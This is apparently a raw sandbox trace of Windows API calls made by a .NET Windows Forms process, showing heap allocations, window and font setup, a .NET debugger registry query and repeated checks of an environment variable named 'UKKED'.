(HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bac28 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bac40 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bac58 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bac70 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bac88 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54baca0 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x200) returned 0x4b9c78 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c8f0 | out: hHeap=0x3d0000) returned 1 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bacb8 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bacd0 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bace8 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad00 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad18 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad30 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad48 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad60 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad78 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bad90 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bada8 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54badc0 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54badd8 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54badf0 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae08 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae20 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae38 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae50 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae68 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae80 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bae98 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54baeb0 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54baec8 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54baee0 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e478 [0039.082] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e490 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e4a8 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e4c0 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e4d8 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e4f0 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e508 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e520 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x43e860 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4b9c78 | out: hHeap=0x3d0000) returned 1 [0039.083] GetProcessHeap () returned 0x3d0000 [0039.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x43e538 [0039.085] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0039.085] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x3e8) returned 0x0 [0039.087] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32d8c4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.088] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0039.088] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x3e8) returned 0x0 [0039.352] GetProcessHeap () returned 0x3d0000 [0039.352] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42f820 | out: hHeap=0x3d0000) returned 1 [0039.352] GetProcessHeap () returned 0x3d0000 [0039.352] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43f1e8 | out: hHeap=0x3d0000) returned 1 [0039.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x32edd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0039.363] IsAppThemed () returned 0x1 [0039.364] CoTaskMemAlloc (cb=0xf0) returned 0x43c408 [0039.364] CreateActCtxA (pActCtx=0x32f2d4) returned 0x441964 [0039.405] CoTaskMemFree (pv=0x43c408) [0039.408] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc13b [0039.408] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc139 [0039.410] GetProcessHeap () returned 0x3d0000 [0039.410] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x445918 | out: hHeap=0x3d0000) returned 1 [0039.410] GetProcessHeap () returned 0x3d0000 [0039.410] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x445940 | out: hHeap=0x3d0000) returned 1 [0039.412] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0039.414] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x75040000 [0039.419] AdjustWindowRectEx (in: lpRect=0x32f330, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x32f330) returned 1 [0039.420] GetCurrentProcess () returned 0xffffffff [0039.420] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x32f248, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x32f248*=0x20c) returned 1 [0039.423] GetCurrentActCtx (in: lphActCtx=0x32f1a8 | out: lphActCtx=0x32f1a8*=0x0) returned 1 [0039.423] ActivateActCtx (in: hActCtx=0x441964, lpCookie=0x32f1b8 | out: hActCtx=0x441964, lpCookie=0x32f1b8) returned 1 [0039.423] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0039.425] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74ea0000 [0039.430] GetModuleHandleW (lpModuleName="user32.dll") returned 0x76d60000 [0039.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x32f070, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWSpRør\x8d\x94ÂdtXõ2", lpUsedDefaultChar=0x0) returned 14 [0039.431] GetProcAddress (hModule=0x76d60000, lpProcName="DefWindowProcW") returned 0x77e125dd [0039.431] GetStockObject (i=5) returned 0x1900015 [0039.433] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0039.434] CoTaskMemAlloc (cb=0x5c) returned 0x4403c0 [0039.434] RegisterClassW (lpWndClass=0x32f060) returned 0xc131 [0039.434] CoTaskMemFree (pv=0x4403c0) [0039.434] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0039.434] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x401e0 [0039.435] SetWindowLongW (hWnd=0x401e0, nIndex=-4, dwNewLong=2011243997) returned 84674742 [0039.435] GetWindowLongW (hWnd=0x401e0, nIndex=-4) returned 2011243997 [0039.437] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x32e970 | out: phkResult=0x32e970*=0x244) returned 0x0 [0039.437] RegQueryValueExW (in: hKey=0x244, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x32e990, lpData=0x0, lpcbData=0x32e98c*=0x0 | out: lpType=0x32e990*=0x0, lpData=0x0, lpcbData=0x32e98c*=0x0) returned 0x2 [0039.437] RegQueryValueExW (in: hKey=0x244, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x32e990, lpData=0x0, lpcbData=0x32e98c*=0x0 | out: lpType=0x32e990*=0x0, lpData=0x0, lpcbData=0x32e98c*=0x0) returned 0x2 [0039.437] RegCloseKey (hKey=0x244) returned 0x0 [0039.437] SetWindowLongW (hWnd=0x401e0, nIndex=-4, dwNewLong=84674782) returned 2011243997 [0039.438] GetWindowLongW (hWnd=0x401e0, nIndex=-4) returned 84674782 [0039.438] GetWindowLongW (hWnd=0x401e0, nIndex=-16) returned 113311744 [0039.438] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc130 [0039.438] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc13a [0039.438] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401e0, Msg=0x81, wParam=0x0, lParam=0x32ec3c) returned 0x1 [0039.438] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401e0, Msg=0x83, wParam=0x0, lParam=0x32ec28) returned 0x0 [0039.439] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401e0, Msg=0x1, wParam=0x0, lParam=0x32ec3c) returned 0x0 [0039.439] GetClientRect (in: hWnd=0x401e0, lpRect=0x32e9a4 | out: lpRect=0x32e9a4) returned 1 [0039.439] GetWindowRect (in: hWnd=0x401e0, lpRect=0x32e9a4 | out: lpRect=0x32e9a4) returned 1 [0039.439] GetParent (hWnd=0x401e0) returned 0x0 [0039.439] DeactivateActCtx (dwFlags=0x0, ulCookie=0x12710001) returned 1 [0039.518] GetProcessHeap () returned 0x3d0000 [0039.518] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44c5c0 | out: hHeap=0x3d0000) returned 1 [0039.518] GetProcessHeap () returned 0x3d0000 [0039.518] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4431b0 | out: hHeap=0x3d0000) returned 1 [0039.521] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.521] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.521] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.521] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.521] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.521] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.521] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.521] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.521] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.521] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.522] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.522] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.522] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.522] AdjustWindowRectEx (in: lpRect=0x32ef74, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef74) returned 1 [0039.522] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.522] AdjustWindowRectEx (in: lpRect=0x32ef74, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef74) returned 1 [0039.523] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.523] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.523] LoadLibraryW (lpLibFileName="RichEd20.DLL") returned 0x74e20000 [0039.528] CoTaskMemAlloc (cb=0x20c) returned 0x441b90 [0039.528] GetModuleFileNameW (in: hModule=0x74e20000, lpFilename=0x441b90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll")) returned 0x20 [0039.528] CoTaskMemFree (pv=0x441b90) [0039.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0x32e900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20 [0039.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0x32e92c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20 [0039.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32ed8c) returned 1 [0039.528] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll"), fInfoLevelId=0x0, lpFileInformation=0x32ee08 | out: lpFileInformation=0x32ee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af9647e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9af9647e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af9647e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x73a00)) returned 1 [0039.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32ed88) returned 1 [0039.529] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", lpdwHandle=0x32ee7c | out: lpdwHandle=0x32ee7c) returned 0x72c [0039.530] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", dwHandle=0x0, dwLen=0x72c, lpData=0x2a2ec3c | out: lpData=0x2a2ec3c) returned 1 [0039.530] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x32ee50, puLen=0x32ee4c | out: lplpBuffer=0x32ee50*=0x2a2efcc, puLen=0x32ee4c) returned 1 [0039.531] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ed38, puLen=0x32edcc) returned 1 [0039.531] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ed8c, puLen=0x32edcc) returned 1 [0039.531] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ede8, puLen=0x32edcc) returned 1 [0039.531] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ee24, puLen=0x32edcc) returned 1 [0039.531] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ee5c, puLen=0x32edcc) returned 1 [0039.531] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2eed4, puLen=0x32edcc) returned 1 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ef10, puLen=0x32edcc) returned 1 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ef84, puLen=0x32edcc) returned 1 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x2a2ecec, puLen=0x32edcc) returned 1 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x0, puLen=0x32edcc) returned 0 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x0, puLen=0x32edcc) returned 0 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x32edd0, puLen=0x32edcc | out: lplpBuffer=0x32edd0*=0x0, puLen=0x32edcc) returned 0 [0039.532] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x32edc4, puLen=0x32edc0 | out: lplpBuffer=0x32edc4*=0x2a2efcc, puLen=0x32edc0) returned 1 [0039.532] VerLanguageNameW (in: wLang=0x0, szLang=0x32eb54, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0039.533] VerQueryValueW (in: pBlock=0x2a2ec3c, lpSubBlock="\\", lplpBuffer=0x32edd4, puLen=0x32edd0 | out: lplpBuffer=0x32edd4*=0x2a2ec64, puLen=0x32edd0) returned 1 [0039.534] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.534] AdjustWindowRectEx (in: lpRect=0x32ef64, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32ef64) returned 1 [0039.535] GetSystemDefaultLCID () returned 0x409 [0039.535] GetStockObject (i=17) returned 0x18a0025 [0039.536] GetObjectW (in: h=0x18a0025, c=92, pv=0x32ed88 | out: pv=0x32ed88) returned 92 [0039.536] GetDC (hWnd=0x0) returned 0x30107fe [0039.595] GdiplusStartup (in: token=0x168db0, input=0x32e358, output=0x32e3a8 | out: token=0x168db0, output=0x32e3a8) returned 0x0 [0039.598] CoTaskMemAlloc (cb=0x5c) returned 0x4403c0 [0039.598] GdipCreateFontFromLogfontW (hdc=0x30107fe, logfont=0x4403c0, font=0x32ee50) returned 0x0 [0039.699] CoTaskMemFree (pv=0x4403c0) [0039.699] CoTaskMemAlloc (cb=0x5c) returned 0x4403c0 [0039.699] CoTaskMemFree (pv=0x4403c0) [0039.699] CoTaskMemAlloc (cb=0x5c) returned 0x4403c0 [0039.699] CoTaskMemFree (pv=0x4403c0) [0039.700] GdipGetFontUnit (font=0x5552230, unit=0x32ee1c) returned 0x0 [0039.700] GdipGetFontSize (font=0x5552230, size=0x32ee20) returned 0x0 [0039.700] GdipGetFontStyle (font=0x5552230, style=0x32ee18) returned 0x0 [0039.700] GdipGetFamily (font=0x5552230, family=0x32ee14) returned 0x0 [0039.700] GdipGetFontSize (font=0x5552230, size=0x2a309f0) returned 0x0 [0039.700] ReleaseDC (hWnd=0x0, hDC=0x30107fe) returned 1 [0039.700] GetDC (hWnd=0x0) returned 0x101080c [0039.700] GdipCreateFromHDC (hdc=0x101080c, graphics=0x32ee3c) returned 0x0 [0039.701] GdipGetDpiY (graphics=0x589fcf0, dpi=0x2a30af8) returned 0x0 [0039.701] GdipGetFontHeight (font=0x5552230, graphics=0x589fcf0, height=0x32ee34) returned 0x0 [0039.701] GdipGetEmHeight (family=0x555f6b8, style=0, EmHeight=0x32ee3c) returned 0x0 [0039.701] GdipGetLineSpacing (family=0x555f6b8, style=0, LineSpacing=0x32ee3c) returned 0x0 [0039.701] GdipDeleteGraphics (graphics=0x589fcf0) returned 0x0 [0039.702] ReleaseDC (hWnd=0x0, hDC=0x101080c) returned 1 [0039.702] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41040000, style=0, unit=0x3, font=0x2a30ab8) returned 0x0 [0039.702] GdipGetFontSize (font=0x58f2940, size=0x2a30abc) returned 0x0 [0039.702] GdipDeleteFont (font=0x5552230) returned 0x0 [0039.702] GetDC (hWnd=0x0) returned 0x101080c [0039.702] GdipCreateFromHDC (hdc=0x101080c, graphics=0x32eea4) returned 0x0 [0039.702] GdipGetFontHeight (font=0x58f2940, graphics=0x589fcf0, height=0x32ee9c) returned 0x0 [0039.702] GdipDeleteGraphics (graphics=0x589fcf0) returned 0x0 [0039.702] ReleaseDC (hWnd=0x0, hDC=0x101080c) returned 1 [0039.702] GetSystemMetrics (nIndex=5) returned 1 [0039.702] GetSystemMetrics (nIndex=6) returned 1 [0039.702] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.702] AdjustWindowRectEx (in: lpRect=0x32ef70, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ef70) returned 1 [0039.715] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e52c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.719] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e52c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.723] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e52c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.724] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e52c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.725] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0039.725] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x417c0000, style=1, unit=0x3, font=0x2a33d24) returned 0x0 [0039.725] GdipGetFontSize (font=0x5552230, size=0x2a33d28) returned 0x0 [0039.729] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.729] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0039.730] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x2a34f7c, nLength=0xc, lpnLengthNeeded=0x32edac | out: pvInfo=0x2a34f7c, lpnLengthNeeded=0x32edac) returned 1 [0039.731] SetConsoleCtrlHandler (HandlerRoutine=0x50c092e, Add=1) returned 1 [0039.731] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0039.732] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0039.779] GetClassInfoW (in: hInstance=0xb00000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x2a34fe0 | out: lpWndClass=0x2a34fe0) returned 0 [0039.780] CoTaskMemAlloc (cb=0x58) returned 0x438578 [0039.780] RegisterClassW (lpWndClass=0x32ecfc) returned 0xc07a [0039.780] CoTaskMemFree (pv=0x438578) [0039.780] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x901a8 [0039.781] NtdllDefWindowProc_W () returned 0x0 [0039.781] NtdllDefWindowProc_W () returned 0x0 [0039.781] NtdllDefWindowProc_W () returned 0x0 [0039.781] NtdllDefWindowProc_W () returned 0x0 [0039.782] GetSysColor (nIndex=10) returned 0xb4b4b4 [0039.782] GetSysColor (nIndex=2) returned 0xd1b499 [0039.782] GetSysColor (nIndex=9) returned 0x0 [0039.782] GetSysColor (nIndex=12) returned 0xababab [0039.782] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.782] GetSysColor (nIndex=20) returned 0xffffff [0039.782] GetSysColor (nIndex=16) returned 0xa0a0a0 [0039.782] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.782] GetSysColor (nIndex=16) returned 0xa0a0a0 [0039.782] GetSysColor (nIndex=21) returned 0x696969 [0039.782] GetSysColor (nIndex=22) returned 0xe3e3e3 [0039.782] GetSysColor (nIndex=20) returned 0xffffff [0039.782] GetSysColor (nIndex=18) returned 0x0 [0039.782] GetSysColor (nIndex=1) returned 0x0 [0039.782] GetSysColor (nIndex=27) returned 0xead1b9 [0039.782] GetSysColor (nIndex=28) returned 0xf2e4d7 [0039.782] GetSysColor (nIndex=17) returned 0x6d6d6d [0039.782] GetSysColor (nIndex=13) returned 0xff9933 [0039.782] GetSysColor (nIndex=14) returned 0xffffff [0039.782] GetSysColor (nIndex=26) returned 0xcc6600 [0039.782] 